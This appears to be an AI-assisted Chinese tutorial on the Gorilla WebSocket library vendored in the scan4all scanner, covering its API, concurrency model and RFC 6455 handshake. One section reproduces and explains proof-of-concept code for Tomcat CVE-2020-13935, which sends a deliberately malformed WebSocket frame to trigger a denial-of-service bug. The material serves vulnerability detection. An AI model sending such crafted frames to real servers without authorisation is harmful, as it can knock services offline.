Gorilla WebSocket 在 scan4all 中的 RFC 6455 实现解析与 Tomcat WebSocket 漏洞检测实战
【免费下载链接】scan4allOfficial repository vuls Scan: 15000+PoCs; 23 kinds of application password crack; 7000+Web fingerprints; 146 protocols and 90000+ rules Port scanning; Fuzz, HW, awesome BugBounty( ͡° ͜ʖ ͡°)...项目地址: https://gitcode.com/GitHub_Trending/sca/scan4all
本篇以 scan4all 仓库中 vendor 引入的 Gorilla WebSocket 包说明文档为核心,讲解该 WebSocket(RFC 6455)Go 实现的定位、安装方式、核心 API 与协议合规性,并结合仓库内 pocs_go/apache/CVE-2020-13935.go 的真实调用代码,展示如何基于该库发起 WebSocket 握手、手工构造原始帧,将库能力落到扫描器漏洞检测的实战场景。读完后你将理解 WebSocket 握手密钥的底层计算方式、Conn/Upgrader/Dialer 的并发模型,以及 scan4all 在指纹命中 "apache tomcat" 后自动执行该 PoC 的完整调用链。
1. Gorilla WebSocket 是什么:README 的核心陈述
关联文档 vendor/github.com/gorilla/websocket/README.md 对该包的定义非常凝练:Gorilla WebSocket 是一个 Go 语言实现的 WebSocket 协议(RFC 6455)库。README 给出的关键事实如下:
- 状态(Status):该包提供了"完整且经过测试"(complete and tested)的 RFC 6455 协议实现,且包 API 稳定(The package API is stable)。
- 维护者声明:README 中有一行醒目的提示——该包正在寻找新的维护者(looking for a new maintainer,见其上游 issue #370)。这是理解"API 稳定"这一表述的重要背景:稳定指的是接口形态不再频繁变动,而非维护处于活跃状态。
- 配套示例:README 的 Documentation 一节列出了上游仓库的四个典型示例(chat 聊天室、command 命令执行、echo 客户端/服务端回显、filewatch 文件监听),作为 API 用法的参考入口。
- 协议合规(Protocol Compliance):README 声明该包使用上游
examples/autobahn子目录中的应用,通过了 Autobahn Test Suite 的服务端测试。
需要说明的是,当前仓库 vendor 目录下只包含库源码本体(client.go、server.go、conn.go、compression.go、prepared.go、mask.go、util.go、tls_handshake.go等),并不包含上游的 examples 与测试代码,因此上文的示例与合规验证属于上游文档陈述,在本地仓库中仅能验证源码层面的实现细节(见下文第 4、5 节)。
2. 依赖版本与 vendoring 方式:scan4all 如何集成
scan4all 通过 Go Modules 的 vendor 机制将该库固化进仓库。从 go.mod 第 28 行可以看到锁定版本:
github.com/gorilla/websocket v1.5.0源码文件位于 vendor/github.com/gorilla/websocket 目录,目录内除文档外包含全部协议实现源码:
| 文件 | 职责(从文件名与包内结构看) |
|---|---|
| doc.go | 包级文档,API 使用规范与并发模型说明 |
| client.go | 客户端 Dialer,负责 WebSocket 握手 |
| server.go | 服务端 Upgrader,负责 HTTP 到 WebSocket 的升级 |
| conn.go | 核心 Conn 连接类型,读写消息 |
| compression.go | RFC 7692 per-message deflate 压缩 |
| prepared.go | PreparedMessage,预编码消息 |
| mask.go / mask_safe.go | 载荷掩码(无汇编版/安全版) |
| util.go | 握手密钥计算与头部解析工具 |
| join.go、json.go、proxy.go、tls_handshake.go | 子协议拼接、JSON 读写、代理与 TLS 握手辅助 |
对于 Go 项目,README 给出的官方安装方式依然是:
go get github.com/gorilla/websocket而 scan4all 由于采用 vendor 模式,本地vendor/github.com/gorilla/websocket目录即是可编译依赖,构建时无需再次联网拉取——这正是仓库中该目录存在的意义。
3. 核心 API:从 doc.go 完整继承的使用规范
README 将详细 API 说明指向包文档,而包文档正是 doc.go。这部分是理解该库的主干,完整继承如下。
3.1 服务端升级:Upgrader.Upgrade
服务端应用从 HTTP 请求处理器中调用Upgrader.Upgrade获得*Conn:
var upgrader = websocket.Upgrader{ ReadBufferSize: 1024, WriteBufferSize: 1024, } func handler(w http.ResponseWriter, r *http.Request) { conn, err := upgrader.Upgrade(w, r, nil) if err != nil { log.Println(err) return } // ... 使用 conn 收发消息 }其中ReadBufferSize与WriteBufferSize以字节为单位指定缓冲大小。doc.go 的 Buffers 一节给出了重要默认值规则:Dialer 在缓冲字段为 0 时使用 4096 字节;Upgrader 在字段为 0 时复用 HTTP 服务端的缓冲区(该尺寸在文档撰写时为 4096 字节)。并且缓冲大小不会限制单条消息的最大可读/可写尺寸。
3.2 消息收发:ReadMessage/WriteMessage 与 NextReader/NextWriter 两种范式
该库提供两等价的 I/O 范式。
字节切片范式(p为[]byte,messageType为websocket.TextMessage或websocket.BinaryMessage):
for { messageType, p, err := conn.ReadMessage() if err != nil { log.Println(err) return } if err := conn.WriteMessage(messageType, p); err != nil { log.Println(err) return } }流式范式(io.Reader/io.WriteCloser,适合大消息免全量拷贝):
for { messageType, r, err := conn.NextReader() if err != nil { return } w, err := conn.NextWriter(messageType) if err != nil { return err } if _, err := io.Copy(w, r); err != nil { return err } if err := w.Close(); err != nil { return err } }文本消息按 UTF-8 解释,但 doc.go 明确:保证文本消息是合法 UTF-8 是应用的责任;二进制消息的解释完全交给应用。
3.3 控制消息:close / ping / pong 处理器
RFC 6455 定义三种控制消息,该库的处理约定如下:
- close:通过
SetCloseHandler注册的回调处理,且NextReader/ReadMessage会以*CloseError返回;默认 close 处理器会向对端回发 close 消息。 - ping:通过
SetPingHandler注册;默认 ping 处理器自动回发 pong。 - pong:通过
SetPongHandler注册;默认 pong 处理器什么都不做——如果应用主动发 ping,应自行设置 pong 处理器。
doc.go 特别强调:应用必须持续读取连接,否则无法处理对端发来的 close/ping/pong;若只关心控制消息,应启动一个"读并丢弃"的 goroutine:
func readLoop(c *websocket.Conn) { for { if _, _, err := c.NextReader(); err != nil { c.Close() break } } }3.4 并发模型:一读一写
Conn 支持一个并发读者和一个并发写者,且责任在应用侧:
- 写侧方法(
NextWriter、SetWriteDeadline、WriteMessage、WriteJSON、EnableWriteCompression、SetCompressionLevel)不得被多个 goroutine 并发调用; - 读侧方法(
NextReader、SetReadDeadline、ReadMessage、ReadJSON、SetPongHandler、SetPingHandler)同样单 goroutine; - 例外:
Close与WriteControl可以与任何其他方法并发调用。
3.5 Origin 校验策略
由于浏览器允许向任意主机发起 WebSocket 连接,Origin 策略必须由服务端执行。Upgrader 的CheckOrigin字段指定校验函数;返回 false 时Upgrade以HTTP 403拒绝握手。若CheckOrigin为 nil,则使用安全默认策略:Origin 请求头存在且其主机与 Host 请求头不一致时,失败握手。doc.go 同时提示:已废弃的包级Upgrade函数不做 Origin 检查,使用前需自行校验。
3.6 缓冲区调优指南
doc.go 的 Buffers 一节给出了可直接落地的调优原则,值得完整继承:
- 写缓冲区同时用于构建 WebSocket 帧(RFC 6455 第 5 节),写缓冲区每次刷向网络都会伴随一个帧头——写缓冲区越小,帧开销占比越高;
- 缓冲大小应限定在预期最大消息尺寸以内,超过最大消息的缓冲没有任何收益;
- 结合消息尺寸分布可大幅省内存:文档举例"99% 消息小于 256 字节、最大 512 字节时,256 字节缓冲只比 512 字节缓冲多约 1.01 倍系统调用,内存节省 50%";
- 若大量连接上写入次数不多,可设置
WriteBufferPool使用写缓冲池,此时更大的缓冲尺寸对总内存的冲击更小,同时减少系统调用与帧开销。
3.7 压缩(实验特性)
Per-message deflate(RFC 7692)支持被标记为EXPERIMENTAL。在 Dialer 或 Upgrader 中设置EnableCompression: true尝试协商;协商成功后,接收到的压缩消息自动解压(所有 Read 方法返回未压缩字节),写出侧可调用conn.EnableWriteCompression(false)动态开关。注意两点限制:不支持 "context takeover"(每条消息必须独立压缩/解压,不跨消息保留字典状态),且使用压缩可能带来性能下降。
4. 协议合规的源码级印证:RFC 6455 握手密钥
README 声称该包通过 Autobahn 服务端测试,本地 vendor 副本虽不含测试代码,但握手的协议细节可以直接从 util.go 得到验证:
var keyGUID = []byte("258EAFA5-E914-47DA-95CA-C5AB0DC85B11") func computeAcceptKey(challengeKey string) string { h := sha1.New() h.Write([]byte(challengeKey)) h.Write(keyGUID) return base64.StdEncoding.EncodeToString(h.Sum(nil)) }这正是 RFC 6455 定义的Sec-WebSocket-Accept计算方式:SHA-1(客户端挑战键 + 协议固定 GUID) 再 Base64。客户端挑战键则由generateChallengeKey用crypto/rand生成 16 字节随机数后 Base64 编码(util.go)。同一文件中的tokenListContainsValue与parseExtensions则按 RFC 6455/2616 规范解析Sec-WebSocket-Protocol与Sec-WebSocket-Extensions头部,体现了该库在子协议与扩展协商上的完整度。
5. scan4all 实战用例:用 Gorilla WebSocket 检测 Apache Tomcat CVE-2020-13935
scan4all 仓库中该库的真实消费者是 Apache Tomcat 的 WebSocket 消息分片漏洞检测 PoC——pocs_go/apache/CVE-2020-13935.go。这个用例同时展示了该库"高层 API"与"裸连接"两层能力。
5.1 标准握手:DefaultDialer.Dial
函数入口使用库的默认拨号器完成完整 WebSocket 握手:
ws, _, err := websocket.DefaultDialer.Dial(url, nil) if err != nil { return false, fmt.Errorf("dial: %s", err) }此处url是 Tomcat 的ws://端点。握手成功即返回*Conn,对应 go_poc_check.go 中的调用链:当指纹引擎识别目标为apache tomcat时,自动执行该检查,命中则记录exp-Tomcat|CVE-2020-13935:
case "apache tomcat": if ok, _ := apache.CVE_2020_13935(URL); ok { technologies = append(technologies, "exp-Tomcat|CVE-2020-13935") }5.2 手工构造违规帧:绕开高层 API 直接写字节流
漏洞触发依赖一个违反 RFC 6455 帧格式的报文,因此 PoC 没有使用WriteMessage,而是取ws.UnderlyingConn()拿到底层 TCP 连接直接写原始字节。代码注释中完整保留了 RFC 6455 的帧头结构图,构造逻辑为:
fin := 1 opcode := websocket.TextMessage // 首字节:FIN=1,RSV 全 0,opcode 为文本帧 buf.WriteByte(byte(fin<<7 | rsv1<<6 | rsv2<<5 | rsv3<<4 | opcode)) // 第二字节:mask 位置 1,长度字段写 127(表示后跟 64 位扩展长度) buf.WriteByte(byte(1<<7 | 0b1111111)) // 8 字节扩展长度全部置 0xFF——最高位越界,违反规范,正是触发点 buf.Write([]byte{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) // 4 字节掩码键全 0(载荷因此无需实际掩码) maskingKey := []byte{0, 0, 0, 0} buf.Write(maskingKey) // 声明 64 位长度却只写入 9 字节"testnmanp"——不完整的消息 buf.WriteString("testnmanp") _, err = ws.UnderlyingConn().Write(buf.Bytes())其攻击语义可以从代码注释逐句读出:
always set the mask bit:客户端帧按规范必须携带掩码,第二字节最高位置 1,符合规范,不会被服务端前置丢弃;set msb to 1, violating the spec and triggering the bug:64 位扩展长度的最高位被置 1 属于 RFC 6455 明确禁止的取值,这正是漏洞触发条件;write an incomplete message:声明的长度远大于实际写入的 9 字节,制造一个"永远读不完"的消息分片,使服务端在消息重组上陷入异常路径。
PoC 函数在完成这一原始写入后即返回true,表示构造的违规帧已被目标接受——从 scan4all 的判定逻辑看,能走到写包成功这一步即视为漏洞行为成立。这种"握手用库、发包用裸连接"的组合,正是 WebSocket 类漏洞检测的典型模式:高层 API 保证握手合规(否则连不上),底层UnderlyingConn()保留对协议字段的完全控制权。
5.3 阅读提示
该 PoC 中有一段被注释掉的time.Sleep(30 * time.Second)("keep the websocket connection open for some time"),从源码结构看,作者曾考虑在触发后维持连接以观察服务端反应,最终版本选择了发送即返回的轻量判定。若在自己的环境中复现该检测,建议仅在授权目标上运行。
6. 局限性与适用前提
- 版本前提:本文所有 API 细节以仓库锁定的 v1.5.0(见 go.mod)为准;升级该依赖时需重新核对 doc.go 中的并发约定与缓冲默认值。
- vendor 副本边界:vendor/github.com/gorilla/websocket 只含库源码与 README,不含上游的 examples 示例与 Autobahn 测试程序;README 中提到的四个示例应用与合规测试属于上游声明,本地仅能验证源码实现。
- 压缩是实验特性:如第 3.7 节所述,per-message deflate 支持为 EXPERIMENTAL,且不支持 context takeover,生产使用应自行评估。
- 安全使用边界:
UnderlyingConn()直接写字节流属于协议级操作,只应用于安全测试与授权渗透场景(如 CVE-2020-13935.go 的用途),不应在普通业务代码中使用。
7. 小结
Gorilla WebSocket 的 README 虽然简短,但准确勾勒了该库的三要素:完整且经过测试的 RFC 6455 实现、稳定的 API、以及通过 Autobahn 服务端测试的合规背书。结合 doc.go 中的并发模型、Origin 策略与缓冲调优指南,以及 util.go 中可核验的握手密钥实现,它提供了从业务层到协议层的使用全貌。而 scan4all 的 CVE-2020-13935 检测 则给出了一个高价值范例:同一座 WebSocket 库,既能支撑正常的聊天/回显服务,也能通过UnderlyingConn()被改造成协议级漏洞检测器——这正是 scan4all 这类扫描器把 15000+ PoC 落到具体协议细节上的典型手法。
【免费下载链接】scan4allOfficial repository vuls Scan: 15000+PoCs; 23 kinds of application password crack; 7000+Web fingerprints; 146 protocols and 90000+ rules Port scanning; Fuzz, HW, awesome BugBounty( ͡° ͜ʖ ͡°)...项目地址: https://gitcode.com/GitHub_Trending/sca/scan4all
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考